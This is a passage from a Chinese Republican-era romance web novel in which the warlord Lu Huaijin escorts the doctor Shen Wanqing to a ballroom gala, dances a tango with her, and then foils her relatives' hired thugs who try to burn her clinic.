陆淮锦的声音变得有些疲惫和依赖,“刚才那帮废物吵得我头疼。让我抱一会儿。”
沈晚清浑身僵硬。
她能感觉到他滚烫的体温,还有那透过丝绸睡袍传来的心跳声。
这一次,她没有推开他。
她想起刚才沈雨柔那个绝望的眼神,想起王探长那个恐惧的磕头。
这就是权势。
在这个乱世,医术能救人,但只有权势,才能护人。
而现在,这个拥有最大权势的男人,正虚弱地靠在她的怀里。
第17章 百乐门之夜
民国九年,六月二十二日,夜。
雨后的海城,空气中浮动着湿润的玉兰花香与奢靡的香水味。
静安寺路上的百乐门舞厅,这座被誉为“远东第一乐府”的销金窟,今夜却透着一股不同寻常的肃杀与神秘。
往日里,这里是冒险家、洋行买办和交际花们的乐园,只要买得起门票,谁都能进去醉生梦死。但今晚,百乐门那扇标志性的玻璃旋转门前,却立着两块醒目的牌子:
“今夜包场”“凭柬入内”
平日里趾高气扬的印度红头巡捕不见了,取而代之的是两排身着深灰色中山装、腰间鼓囊囊的精悍汉子。他们像钉子一样扎在门口,目光如鹰隼般扫视着每一个靠近的人。
“乖乖,这是哪路神仙下凡啊?”
马路对面,几个没资格进去的小报记者正缩在馄饨摊后面,一边啃着大饼,一边伸长了脖子张望。
“听说是北方来的那位爷。”一个消息灵通的老记者压低了声音,神神秘秘地指了指北边,“那位陆少帅,为了答谢救命恩人,把整个百乐门都包下来了!”
“救命恩人?不就是那个济世堂的女大夫沈晚清吗?”年轻记者一脸不屑,“一个退婚过的女人,能有多大面子?就算是神医,给笔诊金不就完了?犯得着这么大阵仗?”
“你懂个屁!”老记者吐了口烟圈,眼神暧昧,“英雄难过美人关。这几天你没看报纸?巡捕房去济世堂找茬,结果连探长都跪下了!今晚这哪是谢宴,分明就是宣誓**!”
正说着,一辆辆豪车划破夜色,缓缓停在了百乐门如梦似幻的霓虹灯下。
先下来的是海城总商会的会长康德海,他虽然大病初愈,但精神抖擞,一身长袍马褂,满脸红光。
紧接着是租界医院的亨利院长,他穿着燕尾服,胸前别着红玫瑰,绅士派头十足。
再后面,是各路督军代表、洋行大班、帮派大佬……
每一个走进去的人,都是跺跺脚能让海城抖三抖的人物。而今晚,他们都是配角,都在等那一位主角的登场。
……
百乐门,舞厅内部。
巨大的水晶吊灯洒下璀璨的光芒,照亮了弹簧地板和金色的墙壁。著名的菲律宾爵士乐队已经就位,但并没有开始演奏,只是静静地调试着乐器。
大厅里,衣香鬓影,人头攒动。
但气氛却有些微妙。
名媛贵妇们摇着羽毛扇,聚在一起窃窃私语,目光中既有好奇,又藏着深深的嫉妒。
“听说那个沈晚清长得也就那样,一副穷酸相,怎么就入了陆少帅的眼?”一个穿着低胸洋装的交际花酸溜溜地说道。
“谁知道呢?也许人家手段高明呗。听说她还会开膛破肚,说不定给少帅下了什么**药。”另一个富家千金掩嘴轻笑,眼中满是不屑,“等着瞧吧,这种乡下郎中,上了这种大场面,肯定露怯。到时候连舞步都踩不准,那才叫丢人现眼。”
而在另一边的沙发区,几位商界大佬则在低声讨论着更深层的问题。
“康会长,这陆少帅如此高调,是不是意味着……陆系军阀有意染指海城的医药生意?”
康德海端着酒杯,笑得像只老狐狸:“诸位,别瞎猜了。少帅的心思,咱们别猜。但有一点我得提醒各位——沈大夫是我的救命恩人,也是少帅的座上宾。今晚谁要是让她不痛快,那就是跟自己的前程过不去。”
众人心中一凛,原本轻视的心思瞬间收敛了几分。
就在这时,门口突然传来一阵骚动。
“来了!”
所有人的目光齐刷刷地投向那扇巨大的玻璃门。
门外,一列黑色的防弹车队缓缓停下。车门上那醒目的猛虎徽章,在霓虹灯下散发着令人胆寒的威压。
侍者恭敬地拉开中间那辆车的车门。
一只擦得锃亮的黑色长筒军靴率先落地。
紧接着,陆淮锦走了出来。
他今晚并没有穿那身标志性的军装,而是换上了一身剪裁极考究的黑色西装。领口微敞,露出一截冷白的锁骨。虽然脸色依旧有些苍白,但那双狭长深邃的眼眸里,却透着一股睥睨天下的狂傲。
他站定后,并没有急着往里走,而是微微侧身,向车内伸出了一只戴着白手套的手。
动作绅士,却又带着极其强烈的占有欲。
一只纤细白皙、如同羊脂玉般的手,轻轻搭在了他的掌心。
沈晚清走了出来。
那一瞬间,百乐门门口的闪光灯疯狂闪烁,将黑夜映照得如同白昼。
她穿着一件定制的淡金色旗袍。面料是顶级的云锦,上面用银线绣着暗纹,随着她的走动,仿佛有流光在身上流淌。旗袍的领口很高,扣着精致的珍珠盘扣,端庄中透着禁欲的美感;行走间隐约露出修长笔直的小腿,又极其撩人。
她的长发被烫成了时髦的手推波纹,发间别着一枚钻石发卡,那是她全身上下唯一的首饰,却璀璨得让人移不开眼。
最让人震惊的,是她的气质。
面对如此大的阵仗,面对无数镜头和目光,她没有丝毫的怯懦或慌乱。她微微抬着下巴,神情清冷淡然,仿佛她不是一个刚刚被退婚的弃妇,而是这十里洋场真正的女王。
“沈大夫,紧张吗?”
陆淮锦低头,看着身边的女人,嘴角勾起一抹玩味的弧度。
沈晚清感受到他掌心传来的热度,以及他手臂微微的僵硬——那是他在忍受腹部伤口的疼痛。
“少帅都不怕伤口崩开,我有什么好紧张的?”
她挽紧了他的手臂,用只有两个人能听见的声音回敬道,“倒是少帅,今晚这场戏,可是要付双倍出场费的。”
陆淮锦低笑一声,胸腔微微震动:“只要你想要,整个百乐门都是你的。”
两人并肩走上台阶。
旋转门缓缓转动,将外面的喧嚣隔绝。
当两人的身影出现在二楼的楼梯口时,原本喧闹的舞
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厅瞬间安静下来。连那几个最爱嚼舌根的名媛都闭上了嘴,呆呆地看着那个缓缓走下来的女人。
美。
太美了。
那种美不是胭脂俗粉的艳丽,而是一把刚出鞘的手术刀,冷冽、锋利,却又有着致命的吸引力。
陆淮锦牵着她,一步步走下楼梯,每一步都像是踩在众人的心尖上。
他没有理会那些讨好的目光,径直带着沈晚清走到了舞池的最中央。
聚光灯打在两人身上。
陆淮锦环视四周,目光所及之处,众人纷纷低下头,不敢直视这位“北方狼主”的锋芒。
“各位。”
陆淮锦开口了,声音低沉磁性,通过麦克风传遍了整个大厅。
“今晚,我只为一件事而来。”
他转过身,面向沈晚清。
“向全海城介绍我的救命恩人,也是我陆淮锦在这个世上,最敬佩的大夫——沈晚清小姐。”
全场哗然。
“最敬佩”?
这个词从狂傲的陆少帅嘴里说出来,分量重如千钧。这不仅仅是承认她的医术,更是在向所有人宣告:这个女人,受他庇护,与他平起平坐。
那些曾经嘲笑沈晚清是“弃妇”、“破落户”的人,此刻只觉得脸上一阵火辣辣的疼。
康德海带头鼓掌,亨利医生更是吹起了口哨。掌声雷动,经久不息。
然而,陆淮锦似乎觉得这还不够。
他看着沈晚清,那双总是带着杀气的眼睛里,此刻只剩下她一人的倒影。
乐队指挥极有眼色地挥动指挥棒。
《一步之遥》的前奏,那激昂而顿挫的小提琴声,在空气中拉响。
陆淮锦缓缓伸出右手,做出了一个极其标准的、带有军人硬朗风格的邀舞姿势。
他的身体微微前倾,眼神锁死沈晚清:
“沈小姐,今晚的第一支舞,不知陆某有没有这个荣幸?”
全场屏息。
所有人都盯着沈晚清那只手。
接,就是当众承认两人的关系,从此与这位军阀绑在一条船上,荣辱与共。不接,就是当众打陆少帅的脸,后果不堪设想。
沈晚清看着眼前这个男人。
灯光下,他的轮廓深邃,眼底有着不易察觉的疯狂和期待。他是在赌,赌她敢不敢陪他疯这一场。
沈晚清笑了。
那一笑,如冰雪消融,春暖花开。
她缓缓伸出手,将自己微凉的指尖,搭在了他滚烫的掌心之中。
“既然是少帅的荣幸,那晚清,恭敬不如从命。”
两手相握。
那是冰与火的触碰,是柳叶刀与勃朗宁的结盟。
陆淮锦反手一扣,将她的手牢牢包裹在掌心,稍一用力,便将她拉进了自己的怀里。
两人的身体在这一瞬间紧密贴合。
音乐骤然激昂。
全海城的目光都聚焦在这对璧人身上。
猜测也好,嫉妒也罢,今晚过后,谁都无法再忽视“沈晚清”这三个字。
第18章 舞池交锋
百乐门的穹顶之下,巨大的水晶吊灯洒下碎钻般的光芒。
那首著名的探戈名曲《一步之遥》的前奏,如同电流般划过空气,小提琴激昂而顿挫的旋律瞬间抓住了所有人的心脏。
舞池中央,陆淮锦的手掌猛地收紧。
一股滚烫且不容抗拒的力量传来,沈晚清只觉得腰肢一紧,整个人便猝不及防地撞入了他坚硬如铁的怀抱。
两人的身体在这一刻严丝合缝地贴在了一起。
那是冰与火的触碰。
沈晚清甚至能隔着那层昂贵的军用呢子大衣,感受到他胸膛里沉稳有力的心跳,以及那股属于男性的、极具侵略性的荷尔蒙气息,混杂着淡淡的烟草味和尚未散去的血腥气。
“跟上我的节奏,沈大夫。”
陆淮锦在她耳边低语,声音低沉磁性,带着一丝挑衅,“别给本帅丢脸。”
话音未落,他已迈出了第一步。
探戈,是情人的秘密舞蹈,是行走在刀尖上的调情。它的精髓在于那种欲拒还迎的拉扯,以及两人之间那种时刻紧绷的张力。
陆淮锦虽然受了重伤,腹部还缠着厚厚的绷带,但他的舞步却刚劲有力,每一步都带着军人特有的杀伐决断,像是在战场上冲锋,又像是在荒原上捕猎。
他主导着一切。
进、退、旋转。
他的手掌如同一道铁箍,牢牢掌控着沈晚清的纤腰,强迫她跟随他的意志,在他的领地里起舞。
沈晚清起初还有些担心他的伤口,但很快,她就发现这个担心是多余的。
这个疯子,根本不在乎痛。
或者说,他享受这种在剧痛中征服一切的快感。
既然如此,她又何必矫情?
沈晚清眼眸微眯,原本有些被动的舞步瞬间变得凌厉起来。她不再是那朵只能依附于大树的菟丝花,而是一把出鞘的柳叶刀。
她挺直脊背,高昂着头颅,随着音乐的节拍,红底高跟鞋在地板上敲击出清脆而急促的声响。
甩头、踢腿、交叉步。
淡金色的旗袍裙摆随着她的动作飞扬,像是一团燃烧的火焰,又像是一只振翅欲飞的金凤。
周围的人群看呆了。
他们原本以为,这会是一场单方面的“炫耀”,是军阀霸占美人的戏码。可眼前的景象,分明是一场势均力敌的较量!
那个看似柔弱的女大夫,在气场强大的“活阎王”面前,竟然丝毫不落下风!
“沈晚清。”
一个急促的旋转过后,两人鼻尖对着鼻尖,距离近得能看清彼此眼中的倒影。
陆淮锦盯着近在咫尺的女人,眼底翻涌着名为探究的暗潮。
“你身上有那种能把人麻翻的药粉,以及……你在面对黑龙会时的那种冷静。这可不是一个养在深闺的大小姐该有的本事。”他突然发问,声音压得很低,却透着一股危险的意味。
沈晚清心头一跳。
果然,这只多疑的老虎,从来没有停止过对她的怀疑。
今晚这场舞,既是宣誓**,也是一场近距离的审讯。
“少帅查过我,应该知道我的过去。”
沈晚清并没有躲闪他的目光,而是一个下腰动作,避开了他逼人的视线,随后借力弹起,重新贴回他怀里,“我被关在柴房那几年,为了活命,什么都要学一点。至于冷静……”
她嘴角勾起一抹自嘲的冷笑,“死过一次的人,自然就没什么好怕的了。”
“死过一次?”陆淮锦咀嚼着这几个字,眉头微皱。
他能听出她语气里的真实。那种深入骨髓的沧桑和恨意,是演不出来的。
“我不信。”
陆淮锦突然发力,带着她做了一个连续的快速旋转。
天旋地转间,沈晚清只能紧紧抓住他的肩膀。
“沈晚清,你身上藏着太多秘密。”陆淮锦在她耳边喘息,热气喷洒在她的颈窝,“不管是你那些闻所未闻的医术,还是你那未卜先知般的手段……都不像这个世界的人。”
“不过……”
他的手掌顺着她的脊背缓缓下滑,最后停在她盈盈一握的后腰上,暧昧地摩挲了一下,“我不在乎。”
“只要你是我的,你的秘密,就是我的秘密。”
这种霸道到了极致的宣言,若是换其他女人,恐怕早就感动得热泪盈眶了。
但沈晚清只觉得腰间一痛——他在用力,那种要把她揉碎了融进骨血里的力道。
“陆淮锦,你弄疼我了。”
沈晚清皱眉,想要推开一点距离,却被他箍得更紧。
“疼就对了。”
陆淮锦看着她微恼的样子,心情似乎极好,眼底闪烁着恶劣的光芒,“只有疼,你才会记住,此刻抱着你的人是谁。”
疯子。
彻头彻尾的疯子。
沈晚清深吸一口气。她感觉到陆淮锦的呼吸越来越重,额角也渗出了细密的冷汗——那不仅仅是热的,更是疼的。
他的伤口肯定裂开了。但他为了这所谓的“征服欲”,硬是一声不吭,甚至还变本加厉地折腾。
如果不让他停下来,这件昂贵的白衬衫怕是真的要废了。
“陆淮锦。”
沈晚清突然笑了。那一笑,眼波流转,媚态横生,像是暗夜里绽放的**。
陆淮锦微微一愣,被她这罕见的风情晃了眼。
就在这一瞬间。
沈晚清脚下的步伐看似凌乱,实则精准。那只尖细的、镶着水钻的高跟鞋后跟,狠狠地、毫不留情地踩在了陆淮锦那只昂贵的军靴靴面上。
并且,还极其恶劣地碾磨了一下。
“嘶——!!!”
陆淮锦瞳孔骤缩,倒吸一口冷气。
这一脚可是实打实的,没有半点水分。那种钻心的疼痛顺着脚趾直冲天灵盖,让他原本流畅的舞步瞬间一滞。
“你……”陆淮锦瞪大了眼睛,不可置信地看着怀里的女人。
她竟然敢踩他?
在全海城的名流面前,在众目睽睽之下,踩他陆少帅的脚?!
“哎呀。”
沈晚清眨了眨无辜的大眼睛,脸上露出了一副极其逼真、却又透着几分敷衍的惊慌,“对不起少帅,我刚才……脚滑了。”
脚滑?
陆淮锦气笑了。谁家脚滑还能顺带碾一下的?
“沈、晚、清。”他咬牙切齿地念着她的名字,那表情像是恨不得把她一口吞了,“你是故意的。”
“少帅冤枉啊。”<
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br>沈晚清凑近他,用只有两人能听见的气声说道,“我这是为了少帅好。再这么剧烈运动下去,您的肠子都要流出来了。到时候血染百乐门,那可就是明天报纸的头条了。”
陆淮锦低头一看。
果然,大衣掩盖下的腹部,已经隐隐透出一股湿热。
这个女人,是在警告他适可而止。
但这该死的……他竟然觉得她这副张牙舞爪、敢在他头上动土的小野猫模样,比刚才那种冷冰冰的样子顺眼多了。
“行,算你狠。”
陆淮锦忍着脚痛和腹痛,非但没有生气,反而低低地笑出了声。那笑声胸腔共鸣,震得沈晚清耳朵发麻。
“这一脚,本帅记下了。”
他重新调整了姿势,虽然放慢了舞步的幅度,但手臂的力道却没有松开分毫,“等回了济世堂,咱们慢慢算这笔账。”
音乐渐渐进入尾声。
原本激昂的旋律变得舒缓而缠绵。
陆淮锦带着沈晚清,完成了最后一个定格动作。
他单手揽住她的腰,让她的身体向后仰倒,呈现出一个完美的弧度。而他则俯下身,那张俊美无俦的脸悬在她的上方,两人的呼吸再次交缠。
在旁人看来,这是一个充满爱意与张力的深情对视。
只有沈晚清看到了他眼底那一闪而过的痛楚和隐忍的疯狂。
“沈大夫。”
他在她唇边一厘米处停下,目光如同实质般描绘着她的唇形,“记住今晚。从这一刻起,全海城都知道,你是陆淮锦的女人。”
“这是荣耀,也是枷锁。”
“你跑不掉了。”
最后一个音符落下。
陆淮锦猛地将她拉起,重新拥入怀中。
“哗——!!!”
雷鸣般的掌声响彻整个百乐门。
那些原本还等着看笑话的名媛们,此刻一个个面色惨白,手帕都要绞烂了。她们看得真真切切,陆少帅看那个女人的眼神,根本不是什么玩物,那是捧在手心里怕化了的珍宝!
尤其是最后那个定格,那种占有欲简直要溢出屏幕!
“太配了……简直是天生一对……”
就连一向挑剔的康德海也不禁感叹。
沈晚清在如潮的掌声中,微微有些喘息。她扶着陆淮锦的手臂,感觉这个男人把大半个身体的重量都悄悄压在了她身上。
他在强撑。
“少帅,戏演完了。”沈晚清低声道,“该下台了。”
“急什么。”
陆淮锦虽然额头冒汗,但依然站得笔直,像是一杆永不折断的标枪。他转过身,面对着全场的宾客,脸上挂着那种标志性的、漫不经心的微笑。
但在沈晚清看来,这微笑背后,藏着猛兽露出獠牙前的森寒。
因为就在刚才旋转的一瞬间,她敏锐地捕捉到了陆淮锦目光扫向二楼角落时的那一抹杀意。
那里,似乎有人影晃动。
“真正的交锋,才刚刚开始。”
陆淮锦揽着沈晚清,在众人的簇拥下,缓缓走向休息区。他的声音极轻,却透着一股血腥气:
“沈大夫,准备好你的手术刀。”
“今晚,怕是有不少脏东西,要清理一下了。”
第19章 沈雨柔的嫉妒
百乐门外,马路对面的阴影里。
雨后的积水坑倒映着对面那座金碧辉煌的“远东第一乐府”。霓虹灯的光怪陆离洒在湿漉漉的柏油路上,像是一条条流淌的金河。
一辆黄包车停在巷口,车上下来一个裹着旧围巾、脸色蜡黄的女人。
正是沈雨柔。
自从上次在济世堂被王探长当众掌掴、又被陆淮锦下了“**令”后,她在海城的名媛圈子里算是彻底社**。以前那些跟她称姐道妹的富家小姐,现在见了她像见了鬼一样躲着走。
为了生计,她不得不变卖了最后几件首饰,搬到了鱼龙混杂的贫民窟。
此刻,她死死盯着百乐门那扇旋转的玻璃门。
透过巨大的落地窗,她能隐约看到二楼舞池中央那对正在共舞的璧人。
虽然看不清脸,但那个穿着淡金色旗袍、在聚光灯下如同女王般耀眼的身影,化成灰她都认识——沈晚清!
“凭什么……”
沈雨柔的指甲深深掐进掌心的肉里,鲜血渗出都浑然不觉。
“凭什么她一个退了婚的弃妇,能站在陆少帅身边?凭什么她能享受万众瞩目,而我只能像过街老鼠一样躲在这里?!”
嫉妒,像毒蛇一样啃噬着她的心脏。
尤其是刚才,她亲耳听到路边的小报记者在议论:“那个沈家二小姐真是瞎了眼,放着陆少帅夫人的亲姐姐不敬,非要去跟那个卖假古董的沈志远混,真是活该倒霉!”
“闭嘴!都闭嘴!”
沈雨柔在心里疯狂尖叫。
她恨沈晚清,恨她抢走了原本属于沈家的一切,恨她拿走了那张存折,更恨她现在拥有了自己梦寐以求的权势和地位。
“雨柔。”
一只阴冷的手搭在了她的肩膀上。
沈雨柔吓了一哆嗦,回头一看,是脸上贴着膏药、眼神阴鸷的沈志远。
“看够了吗?”沈志远盯着百乐门的方向,眼里的恨意比沈雨柔更深,“看够了就走。今晚,咱们有更重要的事要做。”
“什么事?”沈雨柔咬牙切齿,“难道就看着那个**风光?”
“风光?”沈志远冷笑一声,露出发黄的牙齿,“她现在是在风光,但这也就意味着……她的老巢,现在是空的。”
沈雨柔眼睛一亮:“你是说……济世堂?”
“没错。”
沈志远从怀里掏出一袋叮当作响的大洋,这是他出卖情报给日本人换来的定金,“陆淮锦那个疯子为了给沈晚清撑场面,把手下的精锐都调到百乐门去了。现在济世堂只有那个傻伙计和几个看门的。”
“那个**不是仗着济世堂神气吗?不是靠着那些药收买人心吗?”
沈志远把钱袋扔给身后几个流里流气的地痞——那是海城著名的“斧头帮”外围成员,只要给钱,**放火都敢干。
“咱们趁今晚,去把济世堂给我砸了!把她的药全烧了!把那块‘妙手回春’的牌匾给我劈成柴火!”
沈志远眼中闪烁着疯狂的光芒,“等她跳完舞回来,看到的是一片废墟,我看她还怎么得意!”
沈雨柔听着这恶毒的计划,原本扭曲的脸上终于露出了笑容。
那是报复的快感。
“好!砸了它!我要亲手撕烂她那些假仁假义的招牌!”
……
城南,济世堂。
夜深了。
因为沈晚清去了百乐门赴宴,今晚济世堂早早地挂上了打烊的牌子。
街道上静悄悄的,只有偶尔传来的几声犬吠。
后院里,阿福正在收拾晾晒的草药。虽然东家不在,但他依然干得很认真。
“阿福,这么晚了还不睡?”
赵龙带着两个丐帮兄弟巡逻经过,嘴里叼着根草根。自从上次商会**后,丐帮就自发排了班,每晚都有人在济世堂附近盯着。
“东家临走前交代的,这批金银花明天要入库,怕受潮,我再翻翻。”阿福擦了擦汗,憨笑道,“赵大哥,你们也辛苦了,锅里有热茶。”
“辛苦啥,沈大夫救了我娘,这点事算个屁。”赵龙摆摆手。
就在两人闲聊时。
远处突然传来一阵杂乱且急促的脚步声,伴随着金属拖在地上的摩擦声,在寂静的夜里显得格外刺耳。
赵龙耳朵一动,脸色瞬间变了。
“不对劲。”
他吐掉草根,手里的哨棒猛地握紧,“听这动静,不下二三十人。而且来者不善。”
阿福愣了一下:“会不会是来看急诊的?”
“看急诊会带斧头和煤油桶?”
赵龙指着巷口那片黑压压涌过来的人影,借着月光,能清晰地看到那些人手里提着的家伙什——斧头、铁棍,还有散发着刺鼻气味的煤油桶。
领头的,正是穿着旧围巾、满脸怨毒的沈雨柔,以及那个被打得鼻青脸肿的沈志远。
“就是这儿!兄弟们,给我上!”
沈志远站在安全距离外,指着济世堂的大门,恶狠狠地吼道,“把门给我砸开!里面的药材全部烧光!那块牌匾给我摘下来踩碎!事成之后,每人两块大洋!”
“冲啊!”
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>二十几个地痞流氓听到有钱拿,顿时像打了鸡血一样,挥舞着斧头冲了过来。
“不好!他们要烧店!”阿福吓得脸都白了,“东家的药还在里面!还有那个……那个贵客的东西!”
“阿福,快关门!进去顶住!”
赵龙大吼一声,从腰间抽出两根短棍,像尊铁塔一样挡在台阶前,“兄弟们!有人要砸恩人的店!咱们丐帮答不答应?!”
“不答应!!”
黑暗中,原本潜伏在各个角落里的十几个乞丐瞬间钻了出来。虽然他们衣衫褴褛,手里拿的也是破木棍、打狗棒,但一个个眼神凶狠,为了报恩,这群最底层的人此刻爆发出了惊人的血性。
“砰!砰!砰!”
双方瞬间撞在了一起。
斧头与木棍碰撞,发出沉闷的声响。
“啊!我的腿!”“滚开!臭要饭的!”
沈雨柔站在后面,看着混战的场面,尖声叫道:“别管那些乞丐!烧!往里面扔火把!把房子点着了看他们怎么救!”
一个地痞点燃了手里的火把,瞄准济世堂二楼的木窗,就要扔过去。
那是沈晚清的闺房,也是存放青霉素菌种的地方!
“住手!!”阿福急红了眼,不顾一切地冲上去想拦,却被那个地痞一脚踹翻在地。
“小兔崽子,滚一边去!”地痞狞笑着举起火把。
眼看火把就要脱手而出,一旦扔进去,这就全是百年老木头房子,瞬间就会化为火海。
沈雨柔兴奋得浑身发抖:“烧!烧死他们!哈哈哈哈!”
就在这千钧一发之际。
“砰——!”
一声清脆的枪响,骤然划破了夜空。
那名举着火把的地痞,手腕上突然爆出一团血花,惨叫一声,火把脱手掉在了地上,被雨水浇灭。
“啊!枪!有枪!”
所有的打斗瞬间停止。地痞们惊恐地四处张望。
只见街道的尽头,两束刺眼的车灯猛地亮起,将济世堂门口照得如同白昼。
一辆黑色的轿车缓缓驶来,车头那枚猛虎徽章在强光下显得狰狞可怖。
车还没停稳,两排荷枪实弹的卫兵已经从黑暗中涌出,黑洞洞的枪口齐刷刷地对准了这群不知死活的暴徒。
车门打开。
一身黑衣的宋副官跳下车,手里提着还在冒烟的驳壳枪,脸色冷得像冰。
而他身后,传来了一个男人漫不经心、却透着彻骨寒意的声音:
“我看是谁这么大的狗胆。”
“敢砸我陆淮锦的地盘?”
第20章 少帅护短
济世堂门口,深夜。
那一声清脆的枪响,如同死神的丧钟,瞬间冻结了所有喧嚣。
举着火把的地痞惨叫着捂住手腕,鲜血从指缝中喷涌而出,染红了脚下的泥水。那根原本要扔向二楼的火把掉在地上,“滋啦”一声被积水浇灭,只冒出一缕黑烟。
“谁?!谁敢管闲事?!”
领头的地痞头子还没搞清楚状况,色厉内荏地吼道,“知不知道我们是谁的人?不想死的给老子滚远点!”
回应他的,是一阵整齐划一、令人心悸的拉**声。
“咔嚓——!”
黑暗的街道尽头,原本死寂的阴影里,突然涌出了两排身穿深色军装、荷枪实弹的士兵。他们就像是一群沉默的幽灵,动作迅速而精准,眨眼间就形成了一个半包围圈,将济世堂门口那二十几个地痞围得水泄不通。
黑洞洞的枪口,在车灯的照射下散发着冰冷的寒光。
那辆停在路中间的黑色轿车,车门缓缓打开。
一只黑色的军靴踩在了湿漉漉的青石板上。
陆淮锦走了下来。
他依然穿着百乐门舞会上的那身黑色西装,领口微微竖起,遮住了下颌的冷硬线条。但他那双狭长深邃的眸子,在夜色中比鹰隼还要锐利,只需一眼,就让在场的所有人感到头皮发麻。
宋副官收起还在冒烟的驳壳枪,恭敬地站在他身后。
“刚才,是谁说要烧了这里?”
陆淮锦的声音不大,漫不经心中透着一股慵懒的杀意。他一边说着,一边慢条斯理地摘下白手套,仿佛只是在谈论天气。
地痞头子看着周围那一圈**实弹的大兵,再看看眼前这个气场恐怖的男人,手里的斧头“当啷”一声掉在了地上。
“陆……陆……”
作为在海城道上混的人,他怎么可能不认识这尊煞神?
“陆少帅?!”
这一声惊呼,把躲在后面的沈志远和沈雨柔吓得魂飞魄散。
沈志远原本还想看济世堂化为灰烬,此刻双腿一软,直接瘫坐在地上。沈雨柔更是捂住嘴巴,惊恐得连尖叫都发不出来。
怎么可能?
陆少帅不是还在百乐门应酬吗?怎么会突然出现在这里?而且……看这架势,分明是早有准备!
陆淮锦没有理会这群蝼蚁的恐惧。他径直穿过人群,走上济世堂的台阶。
阿福和赵龙等一众丐帮兄弟,看到这位传说中的大人物,都下意识地让开了一条路,眼中满是敬畏。
陆淮锦停在沈晚清面前。
他上下打量了她一眼,确认她毫发无损,甚至连裙角都没脏,眼底的那抹阴鸷才稍稍散去。
“沈老板,这就是你说的‘看家护院’?”
陆淮锦指了指台阶下那群被吓傻的地痞,嘴角勾起一抹嘲讽的弧度,“几只野狗都能欺负到门口,看来你这‘沈先生’的名头,在海城也不怎么响亮啊。”
沈晚清看着他,紧绷的神经终于松弛下来。
“野狗太多,我又没枪。”她耸了耸肩,语气轻松,“不过,我有少帅留下的这块招牌。这不,把您这尊大佛给盼来了。”
陆淮锦轻笑一声,转过身,面对着台阶下那群战战兢兢的暴徒。
这一次,他脸上的笑意彻底消失了。
“敢在我的地盘上撒野。”
他缓缓拔出腰间的勃朗宁,枪口随意地垂下,眼神冷酷如冰,“嫌命长?”
“少帅饶命!少帅饶命啊!”
地痞们“噗通”一声全跪下了,磕头如捣蒜,“我们是有眼不识泰山!是那个姓沈的给钱让我们来的!我们不知道这是您的地盘啊!”
“不知道?”
陆淮锦抬手就是一枪。
“砰!”
那个地痞头子的另一只耳朵瞬间被打烂。
“啊——!!”惨叫声凄厉刺耳。
“现在知道了?”陆淮锦吹了**口的青烟,眼神淡漠,“宋副官。”
“到!”
“全都带走。既然这双手喜欢拿火把,那就废了,扔到黄浦江里喂鱼。”
“是!”
卫兵们如狼似虎地扑上去,像是拖死狗一样将那二十几个地痞拖走。哀嚎声此起彼伏,但很快就被雨声掩盖。
处理完杂鱼,陆淮锦的目光终于落在了角落里那两个试图趁乱溜走的身影上。
“那两位,想去哪儿啊?”
宋副官一个箭步冲过去,像拎小鸡一样把沈志远和沈雨柔拎了回来,扔在泥水里。
“沈大才子,好久不见。”
陆淮锦居高临下地看着浑身发抖的沈志远,眼中闪过一丝厌恶,“上次让你跑了,没想到你这么急着送死。怎么,勾结日本人还不够,现在还想当纵火犯?”
听到“勾结日本人”这几个字,沈志远猛地抬起头,脸色惨白如纸:“你……你怎么知道?不!我没有!你含血喷人!”
“有没有,你自己心里清楚。”
陆淮锦并没有打算在这里跟他废话。根据情报,这只是一条小鱼,真正的证据还在沈家老宅里藏着。现在杀了他也只是脏了手,不如……
“晚清。”陆淮锦转头看向沈晚清,“这两个人,你想怎么处置?”
沈晚清走下台阶,看着这一对在泥水里狼狈不堪的男女。
前世,他们也是这样站在高处,看着她在泥潭里挣扎。
“杀了他们太便宜了。”
沈晚清的声音很冷,透着一股理智的残忍,“而且,今晚的事,光凭他们两个做不出来。**、购买火油,这都需要大笔的钱。沈家已经被我搬
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空了,这钱……是哪来的?”
她看向沈志远,目光如炬,“沈志远,你的钱,不太干净吧?”
沈志远眼神闪烁,不敢在这个问题上接话。
“宋副官。”沈晚清没有继续追问,而是淡淡道,“把他们扔出去。别脏了济世堂的地。”
“扔出去?”宋副官一愣,这两个人可是罪魁祸首啊。
“对,扔出去。”沈晚清嘴角勾起一抹意味深长的笑,“让他们回去给沈光宗报个信。就说……陆少帅不仅没死,还好得很。让他们洗干净脖子,等着。”
她要在精神上先折磨死这家人。而且,留着他们,才能顺藤摸瓜,挖出沈家藏得最深的那个秘密——走私烟土。
“听沈小姐的。”陆淮锦虽然想直接毙了这两个祸害,但他看懂了沈晚清眼里的算计。猫捉老鼠,直接咬死确实没意思。
“滚!”
宋副官一脚踹在沈志远的屁股上。
沈志远和沈雨柔如蒙大赦,连滚带爬地逃进了黑暗的巷子里,连头都不敢回。
一场危机,在陆淮锦的绝对**下,消弭于无形。
“处理干净了。”
陆淮锦收起枪,看着沈晚清,原本冷硬的表情柔和了几分。
陆淮锦突然伸手,替她拢了拢肩上的披肩。
“今晚我的人会守在这里。沈家这次既然敢动火,说明他们已经狗急跳墙了。”
他看着远处沈志远逃窜的方向,眼中闪过一丝精光,“如果我没猜错,沈家那个老东西为了填窟窿,很快就会动那一批见不得光的货了。”
沈晚清心头一动:“你是说……”
“烟土。”
陆淮锦吐出两个字,“沈志远哪来的钱买凶?只能是卖了不该卖的东西。只要盯死他们,很快就能拿到沈家走私烟土的铁证。”
“到时候,就不只是扔出去这么简单了。”
陆淮锦的语气中透着一股森然的寒意,“我要让整个沈家,连根拔起。”
雨渐渐停了。
济世堂的招牌在车灯的映照下,显得格外清晰。
“回去睡吧。”陆淮锦拍了拍她的头,动作自然得像是做了无数次,“明天还有一场硬仗要打。”
沈晚清看着他转身走向车边的背影,突然开口:
“陆淮锦。”
陆淮锦停下脚步,回头:“嗯?”
“谢谢。”
陆淮锦挑眉,嘴角勾起一抹邪肆的笑:
“口头谢谢没诚意。记账,以后慢慢还。”
车门关上,黑色轿车缓缓驶离,只留下一队荷枪实弹的卫兵,像钉子一样扎在了济世堂的四周。
这一夜,济世堂固若金汤。
而逃回家的沈志远和沈雨柔,带回去的不仅仅是失败的消息,更是沈家即将覆灭的丧钟。
第21章 沈家的覆灭
连日阴雨,空气中弥漫着发霉的味道。
沈光宗像只热锅上的蚂蚁,在昏暗的房间里来回踱步。桌上那盏煤油灯忽明忽暗,映照出他那张因为焦虑而扭曲的老脸。
“那个废物!成事不足败事有余!”
沈光宗把茶杯狠狠摔在地上,骂的是刚像条死狗一样逃回来的沈志远。
